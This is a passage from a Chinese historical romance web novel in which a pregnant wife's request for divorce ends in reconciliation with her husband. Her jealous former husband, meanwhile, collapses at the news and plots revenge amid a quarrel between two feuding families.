祝吟鸾垂放在膝上的两只手被他看得不自觉搅着衣摆,“” 一时之间,她鼓起来的勇气全都散了,竟然不敢接着往下说了。 沈景湛看了她好一会,问她怎么不说了。 男人的语气温和如熙,若是只听着他的话根本察觉不到他此刻的脸色竟是如此的危险。 但只听语气管什么用,他说的话也很奇怪。 什么叫她怎么不说了? 他是没有听清楚,还是没有听见?适才她说话的声音也没有很小吧? 祝吟鸾抿唇,“我说我们和离吧。” 他很平静反问她,“为何?”也继续了手上擦头发的动作。 祝吟鸾听到他应话,终于抬头看去了,他看似一切都恢复了正常,仿佛适才眉眼之间展露的幽暗都是她鼓起勇气紧张之下看漏的错觉一般,实际上他根本就没有那样凝盯着她。 但真的没有发生过么? “因为”她想过很多措辞,此刻却说不出来,只道一句,“我本就配不上你。” 祝吟鸾也试想过沈景湛的回应,却没有想到他会说,“祝家和卫家出事,鸾儿没有了后顾之忧,便想要离开我了吗?” 听到这句话,祝吟鸾大惊,她皱眉摇头,“不是。” “不是这样,那是怎样?”沈景湛的头发都没有擦好,他另外一边的发尾还坠着水珠,他却像是毫无察觉般,还在擦着另外一边早就擦得差不多的地方。 “因为——”祝吟鸾刚要解释,与他说清楚,免得他误会。 可沈景湛却笑着打断了她的话,“真的不是因为卫如琢和祝家长女的婚事告吹,鸾儿才想和离的吗?” 祝吟鸾听到他这么说,眼睛都瞪大了,简直不可思议,“你你在胡乱揣测什么?” 跟卫如琢有什么关系?抛开一切不谈,她怎么可能会因为眷恋卫如琢跟沈景湛和离? 她是疯了吗? 祝吟鸾也是被男人的荒谬反问无言以对到了。 可冷静下来之后,她又觉得沈景湛这句话追得好奇怪。 他说这句话的时候虽然是在笑,却无法让人感受到丝丝的暖意,只觉得他是在皮笑肉不笑。 沉默了一会,沈景湛不说话。 她觉得有必要将话彻底解释清楚,“我并不是因为你想的那样要跟你和离。” 他还是不说话。 没有看着她了,视线垂落到圆桌上的茶盏上,也不擦头发了,帕子杂乱无章像是被他扔在了桌上,可方才她的注意力被他话里的反问给转移走了,根本就不清楚他究竟是不是扔到了桌上? 若是按照沈景湛之前的习惯,他必然会折叠得整整齐齐再放到桌上,此刻却乱七八糟。 此刻的他看起来也如往常不一样,也有乱七八糟。 他一边的长发还在滴水,已经打湿了他半边的月白色中衣,衣衫被浸湿之后,变得透明,黏着他的皮.肉,紧绷硬朗的肩胛以及深凹的锁骨。 他垂着睫羽神情沉默,令人捉摸不透他在想什么。 祝吟鸾噎了一下,随后道,“我之所以要提和离是因为我并没有算计你,我找不到什么能够证明没有算计你的证据,除此之外,也是因为今日在祖母那边得知了卫家和祝家的事情” 他应当在听着她说话的吧?祝吟鸾留意到男人修长匀净的手指,有一下没一下敲打着桌面。 她继续道,“祝家受到卫家牵连也被查了,我冠着一个祝姓,我害怕自己也难逃,我自己折进去了倒没什么,但先前你为了我,给祝鸣生提了官位,我害怕你也受祝家影响,索性索性就和离吧。” 男人还是不说话,祝吟鸾只能.干.巴巴补充了一句,“我说完了” 她担心沈景湛就此沉默下去,可没有想到沈景湛轻嗯了一声。 许久之后,他问,“鸾儿要与我和离,那肚子里的孩子又是何打算?落掉?” 祝吟鸾抬头瞅着他的侧脸,“总归现在只有你我二人得知,就当没有发生过这样的事情吧,我生下来自己抚养。” “自己抚养?”沈景湛重复她这句话。 祝吟鸾咬唇,“嗯” “鸾儿有想过自己养育孩子有多难吗?你以为你从沈家出去之后,祝家和卫家就不会为难你,就会放过你了吗?” 祝吟鸾攥紧手,“”她想过,甚至还想过偷偷变卖手上的铺子离开京城。 现如今卫家和祝家自身都焦头烂额,想必是顾不上她这边了吧? “看来,如何应对祝、卫两家,鸾儿也想过了。”她虽然一句话都没有说,但沈景湛观察着她的神色,已经揣测到了她有了后续的打算。 “让我猜猜,鸾儿是打算离开京城?”他数不清是多少次一语中的。 祝吟鸾眉眼微动,见状,男人嗤笑了一下,仿佛在自嘲,“我猜对了,是吗?” 被他看着的姑娘不说话。 祝吟鸾感受到他在靠近,她垂眸见到男人的光影笼罩过来了,不仅仅是光影,还有他身上清冽的气息也随之侵袭过来了。 祝吟鸾觉得她自己已经不是紧张了,而是慌乱。 在沈景湛逼近的一瞬间,她感觉自己变成了角落当中的困兽,正在被他给围堵。 事实也的确如此,她正在被沈景湛给围堵。 又不是在角落里,但因为两人之间的身形对比太过于强烈,祝吟鸾受不住他的逼近,预备要后退的时候,他的手撑在了圆桌上,如同上次一般将她整个人困在了圆桌和他之间。 祝吟鸾害怕跟上次一样,她噎了噎沫,抬头对上男人幽深危险的目光,“我、我说完了,你——”考虑考虑几个字还没有说出来,就已经被沈景湛给按了回去。 男人的大掌不如之前一般温热,也不知道是否因为身上水汽未干的缘故,寒冷缠绕在她的肩头。 祝吟鸾的慌乱加剧,她被迫仰着小脸,与男人给对视上了。 沈景湛的眼眸怎么会这样深暗?仿佛探不到底的深潭。 若说她看到了什么。 她在沈景湛的瞳孔当中看到慌乱无措的她自己。 想要控制却没有办法控制,被沈景湛如此圈在怀中瞧着,她慌得心跳加剧。 “鸾儿做了千般退路,可曾考虑过我?”他问。 祝吟鸾,“我我就是害怕牵连到你,才提出与你和离的啊。” “我、我都说了,你对我很好,你是我的恩人,我感激你曾经多次对我伸出援手,所以我不想你出事,也不想因为我让你陷入困局当中,不想成为你的麻烦,不想要你不快。” “不想要我不快”沈景湛重复她的这句话,“你与我和离,我就会愉快了吗?” 他这话又是什么意思? 祝吟鸾觉得她是不是太紧张,居然已经听不明白沈景湛这句话究竟是什么意思了? 和离不是他想要的吗? 他难道不想和离? 沈景湛看着她,祝吟鸾实在是扛不住他的目光要挪开视线,却被他掐住了下巴,他抬起她的小脸。 祝吟鸾避无可避,两人之间的距离近到只在咫尺之间,鼻尖只需要他再低些头就可以碰到了。 呼吸在无形当中交换.缠.绕。 许久没有见沈景湛,没有跟他说话,没有与他靠近。 祝吟鸾以为一切都在淡化当中渐渐消散了,却不曾想,沈景湛不过就是靠近而已。 她整个人就不可控制软了下来,他也只是捏着她下巴,没有做什么 “看着我,鸾儿。”男人的声音磁沉性感,带着若有似无的蛊惑。 祝吟鸾不敢看,她的眼神飘忽躲闪,触及男人被打湿的肩头。 有汗珠顺着他壁垒分明的肩胛骨肌肉纹路流淌,让 她不自觉口干舌燥起来。 她想起,她脚踝曾经悬放在他的肩膀之上,有的时候他太用力了,导致她的脚踝晃荡得太厉害了,甚至还踢到过他的俊脸。 思及此,祝吟鸾的脸不可避免地红了起来。 “看着我,嗯?”他又诱哄她。 声音钻入耳朵里面,祝吟鸾顺着他的话,抬起眼睫看向他。 “你真的想要与我和离吗?”他又问。 祝吟鸾的睫毛颤动,没有回他的话。 谁架得住沈景湛这样贴近的蛊惑和“压迫”?她架不住。 “我从鸾儿的眼睛里看出鸾儿不想与我和离。”他勾起轻笑,原本掐着她下巴的手顺着她的侧脸往上摩挲着她的黛眉。 祝吟鸾又噎了一口沫,刚要说话,沈景湛却在她的前面说了话,他说,“我也不想与鸾儿和离。” 祝吟鸾惊诧。 男人的眉眼微垂,分明是居高临下,她就在他的眼底,可她却看不见他的眼底了,只见到他的垂下的睫,是一如既往的温朗清润。 她又听到沈景湛缓缓道,“不知从何时开始,我竟习惯了鸾儿在我的身侧,与你欢好时,我会难以克制的心颤,控制不住的愉悦,想要与你亲吻,我喜欢和鸾儿亲吻的感觉。” 沈、沈景湛知道他在说些什么吗? 倘若不是内室寂静,祝吟鸾真要以为自己出现了幻听。 “喜欢你与我时常在一处,不想要跟你和离。”他摩挲着她的侧脸,磁沉的声音萦绕在她的耳侧,温柔缱绻。 “所以,我们不要和离好不好?” 祝吟鸾紧张得不行,她本来不想说话,可不知怎么的又说了,她听到自己问,“你不是有喜欢的姑娘,一直放不下她么?” “那已经是过去很久的事情了,实则在她嫁了人之后,我便已经彻底断了念想,娶你之后,我更没有再想到她。” “果真?”祝吟鸾咬唇问。 “嗯,果真。”他轻声,“我何时骗过鸾儿?” 她还想要问小像的事情,沈景湛却又未卜先知一般,“她的小像我早就烧掉了,后来之所以在娶鸾儿的时候提到她,也是为了让鸾儿放心,安心,所以才说的。” 是,她想起来了。 沈景湛那时候其实并没有说他有了意中人,而是被她发觉便问了一嘴,当时沈景湛没有否认。 他也很少跟她提起那个早已出嫁的意中人,除非攀扯到什么事情才跟她说。 闻言,祝吟鸾发现她沉闷许久的心绪居然有些拨云见日了。 “” 两人之间再次静默下来,默契的没有说话。 须臾之后,意识到沈景湛似乎是在等着她回应,祝吟鸾便接着发问,“那你你之前为何觉得我算计你?” “我从未觉得鸾儿算计我,对于这个孩子的到来,我是欣喜的,只是” 言及此,男人脸上第一次罕见的出现了类似羞赧的神情,他道,“第一次为父,有些措手不及,所以惶恐了些许,不料却让鸾儿以为我觉得你在算计我,我不想要这个孩子。” “那日鸾儿心绪波动得厉害,我原想要等你冷静下来再说话,可谁知竟谈得越来越僵持。” 实不相瞒,祝吟鸾都快要回想不起来那日具体是怎么“闹”的了? 现如今听了沈景湛这一番话,再往前回想,似乎的确他一开始并没有说什么。 他那时候送了太医出去,回来还叫她的闺名,说是问了太医,才得知她是受孕的体质,有了孩子。 是她觉得他在质问她,怀疑他觉得她谋算了他。 回想起来似乎的确是那么一回事,竟然全然不是她想的那样,只是她的揣测? “可那时候你叫我祝小姐,不是想要与我撇清,恢复人后的关系吗?” 沈景湛见她别过脸,整个人别别扭扭说出这么一句话,忍不住勾唇。 他松开了撑在她身侧的手,祝吟鸾察觉到男人的动作,吐露心声之后本就慌张的心绪这一刻更是拨到了顶峰。 但没想到下一息,沈景湛抱着她的腰身,将她整个人给提抱了到了腿上。 天旋地转之间,祝吟鸾的心几乎要跳出胸腔。 沈景湛的两只手环抱在她的腰肢上,胸膛贴着她的后背。 他的掌心恢复了温热,祝吟鸾感受到丝丝安心。 “我与鸾儿人后是什么关系?”他抱着她,将下巴搁在她的肩膀上。 “难道不是夫妻吗?” 祝吟鸾,“”他明明都知道她说的是什么,却故意这样讲。 “那日叫鸾儿祝小姐,介意的不是什么算计不算计,而是鸾儿似乎对于这个孩子的到来好是意外,并不欢迎的样子。” 祝吟鸾,“”竟是因为那一日她装得太过了,让沈景湛以为她不想要这个孩子? “我想到鸾儿在卫家为了要孩子百般求医看药,怎么到我这里有了都不想要呢?” “那时心烦意乱,便忍不住在心中和卫家的计较了些许。” 他跟她道歉了,“对不起,都是我不好,叫鸾儿委屈了。” 祝吟鸾心头一震,彻底回味过来了。 从之前沈景湛便一直计较着问她担不担心卫如琢开始,竟是因为吃味了。 原来,她并没有怀疑错,他的确是介怀了。 她心里的慌乱落地,转为前未有过的欣甜,但还是紧张的。 “鸾儿能原谅我吗?”男人问。 祝吟鸾咬唇,好一会她还是没有说话。 沈景湛道,“我想要和鸾儿一道抚育这个孩子,教他成人,读书入仕,顶天立地。” “好不好?”男人的大掌顺着她的手腕,爬过她的掌心,穿过指缝,与她十指相扣。 祝吟鸾看着交.缠在一起的手,颤粟的心尖也忍不住热了起来。 她说不出好,只能羞怯怯地点头。 男人用侧脸蹭着她的侧脸,两人的手放在她的小腹之上,“我会保护你和孩儿,不会叫你们受一丝委屈和伤害。” 他的本事祝吟鸾是知道的,“我我相信你。” “嗯。”男人薄唇勾起。 “” 翌日,小丫鬟敏锐地发现,两个主子之间似乎是和好如初了,再没有之前的冷凝。 一道用早膳的时候,世子爷给少夫人夹菜,她会微红着小脸慢条斯理地吃,就好似刚成亲的第二日。 消息很快就传到了韵梅堂中,沈老太太和沈夫人的耳朵里。 紧跟着这个消息的,还有祝吟鸾身怀有孕的事。 沈老太太原本闭目养神盘转着手里的玉珠,听到小丫鬟说祝吟鸾怀孕了,惊得睁眼坐起。 震惊的,也还有沈夫人。 “果真吗?!”沈夫人追问。 小丫鬟道是,“前些时日太医来把脉便已经看出来了,只是世子爷没让人说。” 暂且不明白沈景湛为何不让说,沈老太太和沈夫人欣喜的不得了。 祝吟鸾方才送了沈景湛出门,刚要去韵梅堂的路上,居然遇到前来寻她的沈老太太和沈夫人。 “今儿日头大,祖母您怎么出来了?”行礼之后,祝吟鸾忙上去搀扶沈老太太。 对方的视线落到她的肚子上,祝吟鸾便已经知道沈老太太为何出门。 沈景湛今日让她不用过去请安,派了小丫鬟传话自然也说了这件事情,她在旁边听到了。 试想过沈老太太和沈夫人会很高兴 ,却没想到这般激动。 “有没有觉得哪里不适?” 沈老太太没叫祝吟鸾搀扶,沈夫人反而还过来扶着她,训斥跟在她身边的人,说日头晒怎么还叫她出门走动? 简直叫祝吟鸾受宠若惊到了极点。 “婆母关怀,儿媳一切都好的。” “不要在这里说话了,回院子吧。”这几乎是沈夫人和沈老太太第一次踏入她的院子,送了她回来便叫她躺下。 祝吟鸾就算是说她没事,两人也不叫她站着。 沈夫人道头三月最是要紧,处处都要注意,还把她贴身得力的陪嫁婆子,给拨到了祝吟鸾身边伺候,让对方看管祝吟鸾的饮食起居,还有庭院里的花花草草,就连衣物香料都格外留神。 祝吟鸾都快要受用不住了,接下来还有让她受用不住的,沈老太太不仅仅给她送了绫罗绸缎,居然还给她拨了一间京城地段最好的酒楼,祝吟鸾看到地契房契的时候,整个人都是晕乎乎的。 “祖母,孙媳实在是不敢拿。” 这酒楼一日的过账恐怕都要到成千上万两了,她怎么敢要? 何况,刚嫁进来的时候,沈夫人和沈景湛已经给了她不少。 “我给你,你就拿着,好生养胎吧。”沈老太太说她高兴。 祝吟鸾也不敢再推辞了,小心把地契和房契交给明芽,让她好生收着。 沈老太太免了祝吟鸾往日的请安,甚至说她初一十五若是不舒坦也不用过去了。 “这可怎么是好?”她本来就没什么事情做,更何况,沈老太太给的殊荣太多了,沈家别的媳妇只怕也不满意吧。 “孙媳没有这样娇贵的,整日里过去陪你说说话也好。” “也行。”沈老太太顺了她的意思。 小半日的功夫而已,祝吟鸾怀有身孕的消息瞬间传遍了侯府。 长房的姨娘和平辈媳妇们都过来给她送礼以表示祝贺。 往前在卫家就算是有什么好消息,便是庞氏都没有这个收礼的阵仗,祝吟鸾不是很适应,但还能够应付。 夜里沈侯爷和沈景湛归家,沈老太太叫人在正厅摆了晚膳,众人在一处吃饭。 这一晚上,祝吟鸾可是听够了贺词,幸而有沈景湛帮她拦着,倒也省了不少口舌。 他照顾着她,让她多吃些。 见两人恢复了蜜里调油,沈老太太也满意点头。 与此同时,乱成一团的卫家,时不时飘出哭声。 是庞氏在停雨阁内院哀嚎,卫清丝回来跟前伺候了,看着她翻来覆去说头疼,也不免厌烦。 方种月适才往里面送了汤,出来时透过窗桕见到了外面走进来的人影。 故意在这时候跟身边伺候的小丫鬟们皱眉惊呼道,“你从哪里得到的消息?谁怀孕了?!” 小丫鬟也是特意拨过来跟着她的,哪里不知道她要做什么,立马就接了话,“是侯府沈家的世子夫人啊。” “你——”方种月的余光已经扫到了逼近的人影,她的话在意料之中被打断了。 来人拽扯过她的手腕,熬了几日,浑身透着狼狈的卫如琢红着眼睛,咬牙切齿到了极点, “你再说一遍,谁怀孕了!?” 第62章 第62章怀孕意味着她和别的男人有过…… 方种月十分“意外”卫如琢会出现在这里,惊吓一般噎了噎口涎,“没没什么人。” “大人,你捏疼妾了”方种月连忙转移话茬,说她的手好疼,痛呼得特别大声。 声音甚至还传入了内室当中,不仅仅是在给庞氏喂药的卫清丝听到了。 就连一直嚷嚷着疼的庞氏也听到了,皱着眉头苦着一张脸问外面发生了什么事情? 卫如琢却浑然未觉,还在掐着方种月的手腕,力道大得仿佛要将她的手骨给掐断了。 “你说!”从方种月的嘴里撬不出来话,他便开始逼问跟着她的小丫鬟。 “奴、奴婢”对方战战兢兢也不敢吱声了,就这么看着方种月,一句话都不敢说。 “说!”卫如琢却没有什么耐性。 他为数不多的理智和克制都在听到祝吟鸾怀孕的那一刻消失殆尽了。 完全顾不得里面还有卧病在床,受不得刺激的庞氏。 他要确认这个消息不是他的幻听,亦或者下人们说错了。 卫如琢再不松手,她的手腕就要被捏断了,方种月不动声色给小丫鬟递了一个眼神,对方颤颤巍巍说,“是侯府沈家世子少夫人怀孕了。” “从哪里得到的消息,怀孕多久了?”卫如琢咬牙切齿。 庞氏不知道屏风外面发生了什么,头疼得起不来,打发卫清丝过来查看。 “是听后院外出采买的婆子说的,说侯府沈家要乌鸡,包揽了京城最好最新鲜的,买回去给世子夫人炖汤喝,具体怀孕多久,奴婢、奴婢就不得而知了。” 小丫鬟说完,卫如琢猛然甩开方种月的手,看到她那张相似祝沉檀的脸,但娇娇怯怯更似祝吟鸾的做派,怒得这口气始终上不了。 近来吃的药也不知道有没有用,总之他觉得心口闷,伸手捂了捂,却还是没有办法顺下去,猛然喷出一口血,眼前一黑,晕倒了。 “大哥!”卫清丝吓得脸色一白,上前搀扶,往外叫人找郎中。 庞氏原本就身子虚热,这会子看到家中顶梁柱也倒下了,吓得连声儿啊儿的叫唤着。 原本就乱的卫家,此刻更是乱得没有章法,“” 消息传到沈家的时候,祝吟鸾已经歇息了。 沈景湛哂笑着烧掉手里的信笺,视线透过书房看向内室的幔帐。 他的目光比深夜还要幽静沉暗。 祝家得到消息虽然比卫家晚了一些,到底还是知道了。 是庞氏为了求证派了人来问,祝吟鸾是不是拜入施家,又嫁给了沈景湛的人? 祝家这边一直没有回话,庞氏直接让小丫鬟放话,若是祝家再不承认,她就要亲自登门拜访了。 卫家摇摇欲坠都要倒台了,庞氏所说的话还能够有什么威慑力不成,祝家不过就是怕丢脸,索性就带着人上门去探望了卫如琢。 却没有想到,上门之后庞氏居然当场给人甩了脸子,说她们祝家的人把卫家害成这样,居然还有脸上门来,上门就算了,居然还是空手来的。 同样一脸憔悴的朱夫人一忍再忍,却还是没有忍住,“都到什么时候了,卫夫人还要说这种话,当真是不清楚什么叫死到临头。” “什么死到临头,说到底不就是你们祝家的阴谋吗!” 庞氏是吃了两碗汤药,强撑着病体坐到外室来,看到上门的祝家人,就好像是找到了发泄口,顶着祝夫人的这句话,不管不顾就呛了回去。 目光在扫过祝沉檀的时候骂了她一句晦气精! 祝沉檀眼睛都瞪大了,“你说什么!?” “我说什么你没听清吗?”此时此刻,庞氏也顾不得要做什么贵妇样子了。 她指着祝沉檀,“要不是你当初攀附高门,嫁入骆家又开罪了对方和离,把晦气带来了我们卫家,骆家能够好端端弹劾卫家吗?” “都是因为你!狐狸精!晦气精!”庞氏瞪着一双眼,就算是身上没有什么力气了,几乎要站不稳,还是要扶着旁边的小丫鬟,站起来怒骂祝沉檀。 她痛斥着祝沉檀的晦气,说都是因为她,当初要不是因为她要嫁过来,卫家也不可能突然出事,导致卫如琢的父亲被贬放到偏远之地。 如今也是因为她要嫁过来了,卫家才出这样的大祸,现如今卫如琢的身上还莫名其妙背着人命,都是因为什么? 都是因为祝沉檀这个丧门的晦气精!让她赶快去死,赶快滚出去,还让小丫鬟去拿柳条和清水来,赶快把这个丧门精给赶出去。 祝沉檀从小到大什么时候被人这样指着脸骂过。 既然都撕破脸了,她有什么顾忌,当下也失去了理智,站起来怒骂庞夫人说她有什么老脸在这里叫嚷,往日里吃着祝家的肉喝着祝家的血,现在反而恩将仇报了? “如若不是我父亲与哥哥提携,卫如琢他能够进入当典史又进入翰林院?若不是我们家的缘故,他能竞选礼部司郎?能够与尚书大人化干戈为玉帛吗?恐怕你们卫家早就亡了!” 祝沉檀红着眼睛跟庞氏吵架,整个人都在发抖。 亏她往前还给庞氏送了不少好东西,“说我晦气丧门,怎么不说你卫家人命薄承受不了这泼天富贵和权势!” “你!”庞氏见祝沉檀露出没规矩的本性,正要骂回去,却背她的话气得连连咳 嗽,整个人急咳得上气不接下气。 一路过来保持沉默的祝大人不得不起来主持大局,他虽然不满意庞氏,却也不能跟妇人计较,便呵斥了祝沉檀,让她住口跟庞氏道歉。 祝沉檀此刻委屈得不行,说什么都不愿意,扑到朱夫人的怀中哭得上气不接下气,庞氏还在咳嗽,方种月端着卫清丝吩咐她去找的保心丹。 一见到她那张脸,卫清丝拿了药,没有好气赶着她出去,别在这里惹祸端! 方种月只能低着头出去。 内室的卫如琢早就被吵醒了,他的心口疼得像是有人用小刀子在刮肉,听着外面的声音,想要说话,可一呼吸都在扯着疼。 还是小丫鬟眼尖发现他醒过来了,连忙给外面的人递话。 外室的人闻言,全部蜂拥挤进来。 卫如琢只觉得没有办法呼吸,小丫鬟扶着他坐起来,喝了一口汤药,他才好了一些。 “祝大人怎么上门来了?”卫如琢的语气不算好。 早在他出事,祝家拖延毁亲要彻底撇开关系的那一天起,两家人差不离有小半月没有往来了。 如今见到祝沉檀哭哭啼啼倚靠着朱夫人的怀中,他也就是略过一眼,只觉得她的眼泪都是在惺惺作态。 在之前,他也一直以为祝沉檀是被骆家的看上了,不得不畏惧强.权所以嫁过去,曾经也有过动摇和怀疑,但都被多年情分给遮掩过去了,却没有想到,根本就是假象而已。 骆暄亲口告诉他,他和祝沉檀之间是祝沉檀主动,若不是如此,骆家怎么可能跟祝家结亲? 即便是听到这个,当初的卫如琢还想着都是过去的事情了,再翻出来计较也没有什么用,更何况他还需要祝家。 可他没想到,卫家出事以后,祝家避而不见,悔亲悔婚,祝沉檀的嘴脸也变了,责备他拖累了祝家,字里行间都在说他没用,让她体谅他? 可如今谁又来体谅他?当初要不是祝家一味怂恿,他何至于去帮尚书大人办那么多见不得人的事情? 最让他难受的是,在受尽人白眼,沦为阶下囚,求助无门的这一个月里,他居然好几次都想到,甚至梦到了祝吟鸾那个和离不到一个月就改嫁的女人。 他恨她无情,跟外人算计勾结,给他下药,让他这辈子极有可能再也不能有子嗣了。 刚得知真相的时候,想着在见面的时候要怎么将她千刀万剐,才能够解心头之恨,却没有想到,这股恨居然渐渐消散了。 他不知道什么时候才能够见到祝吟鸾,京城当中的尊卑阶层异常分明,她又不爱出门,还会碰见吗? 他竟然在夜深人静的时候那么想她,想要见她。 其实在祝吟鸾嫁过来的那两年他委顿在官场做一个打杂的典史,也十分的委屈憋屈和失意。 夜里,他会跟她说话,她耐心听着,从未打断,还温声细语对他进行安慰,笨拙夸耀他的长处,说在她的心里,他是最好的。 可怜他过了这么多年,居然还记得,她还记得吗? 她走后,很少有家里人再提到祝吟鸾了。 没想到,再听到她的消息,竟然是得知她身怀有孕了。 怀孕意味着什么? 意味着她的背叛,意味着她跟别的男人行过最亲密的事情。 一想到沈景湛吻过她的唇,见过她羞怯娇颤的模样,品尝过她的美好芬芳和馨甜,他整个人控制不住的要发疯了。 她和沈景湛才成亲多久?一定是行过很多次房,所以才会这么快身怀有孕,甚至不清楚月份,恐怕是日日夜夜纠缠吧! 越是深想,他再也控制不住在那地方吐出血来,现如今整个人都是晕乎乎的。 吃了药之后,勉强沉静下来,取代怒火的是嫉妒,他恨不得杀了沈景湛。 祝吟鸾不会有这样背叛他的胆子的,一定是他的主意,跟他有关系,他诱惑了祝吟鸾,在很早之前,没有人发觉的时候。 “自然是有话要说。”祝大人和祝鸣生等着卫如琢吃了汤药之后才开口,眼神还扫了扫周围的人,清场的意思相当明了。 卫如琢擦着嘴巴,还没有说话,庞氏却已经拄着拐杖怒斥,“我们卫家跟你祝家实在是没什么好说的了,到底是谁家害谁家,过些时日我家老爷抵达京城,禀明了圣上,一切在朝堂之上自有定夺!” 庞氏已经给卫大人写了书信,他博得了恩典,总算是能够回京,但眼下不宜招摇,祝家的人气势也不知道,听到这个消息,祝大人和祝鸣生都有些意外。 意外的不是卫大人被贬居然还能够返回京城了,到底是怎么得到的恩典,莫不是卫家人这些时候得了什么宽宥和机遇? 思及此,祝大人越发庆幸今日是上了卫家门,否则这个消息怎么都不得而知了。 越是深入去想,祝大人的脸色也好了,“夫人有话好好说,我这女儿自幼骄纵惯了不识礼数,方才冲撞了夫人,回去之后我一定好好管教,您大人不记小人过,咱们两家这么多年的情义,可不能因为眼前的困境而断绝啊。” “说什么情义,这一切不都是你那个好女儿搞出来的事情!” 也是前儿庞氏才得知,祝吟鸾居然高嫁了,那小贱人从卫家出去的时候可是决绝,卫如琢晋升被人弹劾的事情一定是她在其中搞鬼! “卫家败落了,小庙容不下大佛,祝大人和祝夫人还是回去吧!”庞氏又跺着拐杖赶人了。 “母亲。”卫如琢皱眉,“您身子骨也不好,先回去吧。” “你不赶外来人,反而来赶你母亲?”庞氏的眼睛都瞪大了。 “这边的事情,儿子自己处理,您先回院子,晚点儿子去看您。”卫如琢咳嗽了一声。 “你——”庞氏还要再说话,卫清丝连忙劝着,“母亲哥哥此刻正是焦头烂额,刚醒也需要休息,我们先听哥哥的话回去吧。” 卫清丝也比往日沉默了许多,若是在之前,她一定会帮着庞氏来斥骂祝家的人,但是在这一会子,她的确是一句话都不敢说了。 也盼着祝家不要和卫家交恶,否则就以当她为难祝吟鸾的那些过往,真不知道会变成什么样子! 庞氏说得对,这件事情一定和祝吟鸾脱不开干系,但如今的祝吟鸾可是世子夫人谁敢得罪! 卫清丝这两日回娘家,她夫家那边都很不满意,若是祝吟鸾真的出手,只恐怕她的夫家也会受到牵连。 得知祝吟鸾新身份的这一日,卫清丝整个人都是惴惴不安的,这种感觉就像是头顶上面悬着一柄利刃,不知道什么时候能够落下。 “好!你继续和晦气精往来,我就看看咱们家还能够讨到什么好!” 说罢,庞氏瞪了祝沉檀一眼,随后就出去了。 祝沉檀头发都要气炸了,被庞氏人前一口一个晦气精地骂,她实在是太生气了。 可还没有开口,也被祝大人给打发了出去,朱夫人知道祝大人有话要跟卫如琢说,就带着她走了。 卫家的人一口茶都没有准备,也没有小丫鬟伺候,显然是庞氏吩咐了,母女两人只能出门在马车里等候,免得在卫家的院子里站着十分的尴尬。 人走了之后,卫如琢让祝大人有话不如直说,眼下绕弯子,已经没有什么意思 了。 祝大人也不跟他客气,说卫家和祝家如今是一条绳子上的蚂蚱,与其分崩离析,不如联合起来。 “分崩离析?祝家不是说受到了卫家的牵连才被查的吗?既然干净何必又要跟跟我联手?” 在朝廷上面做官的,还能够有谁是干净的? 谁的手上没沾点东西? 卫如琢见祝大人和祝鸣生的脸色一变再变,人也忍不住冷笑起来。 祝大人没说话,祝鸣生却忍不住开口,“如琢,你可想好了,虽然这次的事情祝家的人做得不厚道,但是这些年我们家的人也帮了你不少。” “如今我父亲亲自拉下脸来求和,你多少也应该给他一些脸面。” “或许眼下的祝家的确是棘手,但多一个朋友总比多一个敌人要好吧?” 卫如琢看向祝鸣生,“舅兄说话这么硬气,看来你手上犯的案子已经解决干净了吧?” 说到结党营私,徇私舞弊,三省才是最多的,祝鸣生往日还没有在三省混得职.权的时候,可没少帮人办事,虽然没有涉及到人命,到底也累积了不少。 尤其是他才上任集贤殿士,就吃了好几拨贿赂,这可不是虚的。 “你!”祝鸣生的年岁比卫如琢要大,往日里也是卫如琢恭维着他,骤然翻脸,说的话不好听,都忍不住了。 卫如琢冷笑了一声。 祝大人做和事佬,让祝鸣生也出去。 深知自家父亲过来的目的是求和,再看卫如琢的嘴脸,祝鸣生想着若是留下来,恐怕也是要吵起来,干脆就出去了。 “如琢,你既然还叫鸣生一声舅兄,想必还是认祝家的吧。” “你也不是小气的人,我知道,不会计较过往,以后啊祝家不会再如此了。” 卫如琢的面色稍有缓和,只是问祝大人,“不知道大人对于眼前的困境,要如何与我联手破局?” 难不成,祝家的人已经知道了这其中有沈景湛的手笔了? 前些时日他倒是听说了,祝大人和祝鸣生一直去中书求见沈景湛,但似乎都碰了壁。 不清楚祝家到底有没有跟沈景湛搭上线,但卫如琢很清楚,祝家如今的局势,绝对有沈景湛的手笔,不清楚祝家的人究竟知不知道了。 “我想要知道你父亲究竟是获得了谁的恩典,能够返回京城?” 果然还是探话来了,就是想要看看卫家还有没有人帮着托底吧? 实际上,卫如琢也不清楚他的父亲究竟是怎么得到了恩典能够返回京城,按理说,是不行的。 就算是他当初进入了礼部成为礼部司郎,能够参与尚书之位的竞选,但也没有办法再御前为他的父亲求情,调回京城。 他父亲能够回京城,也是今日庞氏突然跟他说的,说是前些时候就来了,但因为他前些时日实在是太忙了,根本没有办法顾忌到这一边,所以就没有跟他说明,现如今还差个一两日人就能够抵达京城了。 所以,卫如琢根本就不清楚究竟是谁的手笔? “莫不是尚书大人?”祝大人见卫如琢不肯说,干脆就在旁边不停的试探着他的口风,借此观察他的反应。 可是他没有想到,卫如琢的脸色微动了一下,实在是有些许看不出来是不是。 祝大人继续试探道,“你眼前的困局全都是因为尚书大人,你虽然求他不得见,但他也不会真的丢弃你不顾吧?” 祝大人很清楚卫如琢之前的错都不算是什么。 卫家之前就出过事情了,卫如琢害怕步他父亲的后尘,做事情一直都十分的谨慎,他之前并没有犯什么错,别说是错了,小错基本都没有。 这也是因为他为何能够从不知名典史,一跃进入翰林院的原因。 都是因为他的底子太干净了,并不是因为祝家的提携。 现如今,他手上的事情都是因为攀附尚书大人帮他处理事情处理得太多了,所以才惹了这么多祸。 尚书大人不可能不害怕卫如琢鱼死网破,所以祝大人揣测,尚书大人暗地里还是帮着卫家的。 “这我就不清楚了。”他意味深长道。 有几日没见尚书大人,上次闹得并不愉快,但 若是在之前卫如琢一定会跟祝大人说得很清楚,与他托底,现如今卫如琢也瞒着,让祝大人自己在私底下揣测究竟是不是。 也正是因为这几句话让卫如琢笃定,祝家的人很有可能根本就不清楚沈景湛是只笑面虎。 若真的知道祝家的麻烦事情都是由着沈景湛而起,就算是不敢正面提起沈景湛的名字,背地里一定旁敲侧击了。 所以,根本就不知道,一直蒙在鼓里了。 祝家也真是够愚蠢的。 沈景湛之所以这么对付他,一定是给祝吟鸾撑腰出气,祝家这些年对祝吟鸾怎么样?当初把祝吟鸾休弃,祝家的人可不只是在中间推波助澜啊。 思来想去,卫如琢眼底一阴。 不如就把祝家拖来当替死鬼好了,借着祝家,说不定还能够打压沈景湛。 卫家若是真的再舞翻身之日,他也绝对不会让沈家好过,纵然不能玉石俱焚,也要让沈家剥层皮。 